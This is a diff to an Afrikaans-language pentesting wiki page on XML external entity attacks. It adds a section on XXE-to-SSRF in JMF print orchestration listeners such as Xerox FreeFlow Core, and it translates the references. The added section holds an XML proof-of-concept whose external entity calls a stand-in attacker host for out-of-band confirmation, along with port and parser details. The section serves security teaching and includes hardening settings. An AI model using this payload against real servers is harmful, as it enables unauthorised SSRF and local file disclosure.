+Werklike gevalstudie: **CVE-2025-27136** in die Java S3 emulators *LocalS3* het die kwesbare konstruksie hierbo gebruik. 'n Ongeauthentiseerde aanvaller kon 'n vervaardigde XML-liggaam aan die `CreateBucketConfiguration` eindpunt verskaf en die bediener laat plaaslike lêers (byvoorbeeld `/etc/passwd`) in die HTTP-antwoord inkorporeer.
 
-## References
+### XXE in JMF/Print Orchestration Services → SSRF
+
+Sommige druk werkvloei/orchestrasie platforms stel 'n netwerk-gefokusde Job Messaging Format (JMF) luisteraar bloot wat XML oor TCP aanvaar. As die onderliggende parser 'n `DOCTYPE` aanvaar en eksterne entiteite oplos, kan jy 'n klassieke XXE benut om die bediener te dwing om uitgaande versoeke te maak (SSRF) of toegang tot plaaslike hulpbronne te verkry.
+
+Belangrike punte waargeneem in die natuur:
+- Netwerk luisteraar (bv., JMF kliënt) op 'n toegewyde poort (gewoonlik 4004 in Xerox FreeFlow Core).
+- Java-gebaseerde XML parsing binne 'n jar (bv., `jmfclient.jar`) sonder `disallow-doctype-decl` of entiteit resolusie gedeaktiveer.
+- Uit-baan terugroepe bevestig betroubaar uitbuiting.
+
+Minimale JMF-styl SSRF proef (struktuur verskil per produk, maar die DOCTYPE is wat saak maak):
+```xml
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE JMF [
+<!ENTITY probe SYSTEM "http://attacker-collab.example/oob">
+]>
+<JMF SenderID="hacktricks" Version="1.3" TimeStamp="2025-08-13T10:10:10Z">
+<Query Type="KnownMessages">&probe;</Query>
+</JMF>
+```
+Notas:
+- Vervang die entiteit-URL met jou samewerker. As SSRF moontlik is, sal die bediener dit oplos terwyl dit die boodskap ontleed.
+- Versterkings om na te kyk: `disallow-doctype-decl=true`, `external-general-entities=false`, `external-parameter-entities=false`.
+- Selfs wanneer die JMF-poort nie lêers bedien nie, kan SSRF geketting word vir interne rekognisie of om bestuurs-API's wat aan localhost gekoppel is, te bereik.
+
+Verwysings vir hierdie vektor is aan die einde van die bladsy gelys.
+
+## Verwysings
 
 - [OffSec Blog – CVE-2025-27136 LocalS3 XXE](https://www.offsec.com/blog/cve-2025-27136/)
 
 - [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)
 - [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)
-- Extract info via HTTP using own external DTD: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)
+- Trek inligting via HTTP met eie eksterne DTD: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)
 - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection)
 - [https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4)
 - [https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9)
 - [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)
 - [https://gosecure.github.io/xxe-workshop/#7](https://gosecure.github.io/xxe-workshop/#7)
 
-- [Dojo CTF Challenge #42 – Hex Color Palette XXE write-up](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-42)
-- [lxml bug #2107279 – Parameter-entity XXE still possible](https://bugs.launchpad.net/lxml/+bug/2107279)
+- [Dojo CTF Challenge #42 – Hex Color Palette XXE skrywe](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-42)
+- [lxml fout #2107279 – Parameter-entiteit XXE steeds moontlik](https://bugs.launchpad.net/lxml/+bug/2107279)
+- [Horizon3.ai – Van Ondersteuningskaartjie na Zero Day (FreeFlow Core XXE/SSRF + Pad Traversal)](https://horizon3.ai/attack-research/attack-blogs/from-support-ticket-to-zero-day/)
+- [Xerox FreeFlow Core Veiligheidsgids (argitektuur/poorte)](https://securitydocs.business.xerox.com/wp-content/uploads/2025/03/Security-Guide-Information-Assurance-Disclosure-Xerox-FreeFlow-Core-8.0.pdf)
+- [Xerox Veiligheidsbulletin 025-013 – FreeFlow Core 8.0.5](https://securitydocs.business.xerox.com/wp-content/uploads/2025/08/Xerox-Security-Bulletin-025-013-for-Freeflow-Core-8.0.5.pdf)
 
 {{#include ../banners/hacktricks-training.md}}